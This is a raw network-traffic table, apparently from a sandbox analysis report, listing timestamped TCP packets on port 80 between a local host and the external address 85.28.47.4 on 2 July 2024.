Jul 2, 2024 12:21:05.603372097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603377104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603382111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603388071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603393078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603403091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603413105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603414059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603423119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603432894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603435993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603444099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603449106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603454113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603463888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603466034 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603473902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603483915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603492975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603493929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603506088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.603526115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.603539944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604305029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604316950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604326963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604345083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604352951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604356050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604366064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604376078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604379892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604386091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604396105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604398966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604406118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604414940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604415894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604427099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604429960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604438066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604446888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604449034 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604458094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604468107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604474068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604479074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604496956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604501009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604507923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604517937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604518890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604528904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604540110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.604542017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.604572058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.605032921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605043888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605053902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605063915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605072975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.605073929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605084896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605094910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605099916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.605104923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605118036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.605118990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605123997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605129004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605133057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.605133057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605134964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605139017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605144024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605153084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.605154991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.605175972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.605191946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683235884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683304071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683321953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683337927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683341026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683371067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683373928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683398008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683403969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683439970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683453083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683485031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683492899 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683517933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683523893 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683556080 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683564901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683599949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683614969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683646917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683648109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683681011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683695078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683747053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683770895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683778048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683789015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683813095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683830976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683872938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683878899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683917999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683927059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683959007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683960915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.683990955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.683998108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684037924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684050083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684070110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684078932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684101105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684104919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684133053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684137106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684165001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684168100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684196949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684202909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684214115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684243917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684246063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684259892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684278011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684281111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684309006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684312105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684340000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684344053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684371948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684374094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684405088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684407949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684437990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684441090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684468985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684473038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684501886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684518099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684550047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684551001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684581995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684612036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684619904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684643984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684658051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684683084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684694052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684726954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684731007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684757948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684761047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684806108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684808969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684839964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684871912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684878111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684902906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684907913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684937954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684957027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.684969902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.684993029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685003042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685009003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685034990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685039997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685066938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685070992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685101032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685112953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685142040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685144901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685165882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685175896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685190916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685208082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685215950 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685246944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685292959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685324907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685333967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685357094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685365915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685388088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685395956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685420990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685437918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685451984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685466051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685482979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685487986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685516119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685520887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685548067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685550928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685580015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685584068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685614109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685631037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685662985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685667992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685695887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685698986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685728073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685730934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685760021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685761929 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685791969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685795069 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685823917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685828924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685854912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685859919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685887098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685890913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685918093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685926914 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685950041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.685956001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.685990095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686000109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686032057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686038971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686064005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686069965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686094999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686131954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686144114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686173916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686177015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686206102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686209917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686238050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686244011 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686280966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686285973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686320066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686335087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686366081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686372042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686398983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686417103 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686430931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686435938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686464071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686491013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686495066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686507940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686536074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686539888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686570883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686603069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686606884 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686634064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686640024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686666012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686670065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686698914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.686728001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.686743021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.690820932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.690831900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.690843105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.690853119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.690881968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.690922976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.691077948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691087961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691098928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691113949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.691142082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.691396952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691406965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691416979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691435099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691435099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.691445112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691454887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691462040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.691464901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.691487074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.691512108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772222996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772279024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772290945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772311926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772336006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772344112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772363901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772377014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772381067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772414923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772445917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772515059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772519112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772552967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772568941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772600889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772638083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772645950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772689104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772713900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772747040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772756100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772779942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772805929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772838116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772870064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772871971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772901058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772903919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772933960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.772938967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772969961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.772994041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773025990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773030043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773058891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773060083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773091078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.773093939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773123026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.773123026 CEST	80	49699	85.28.47.4	192.168.2.7
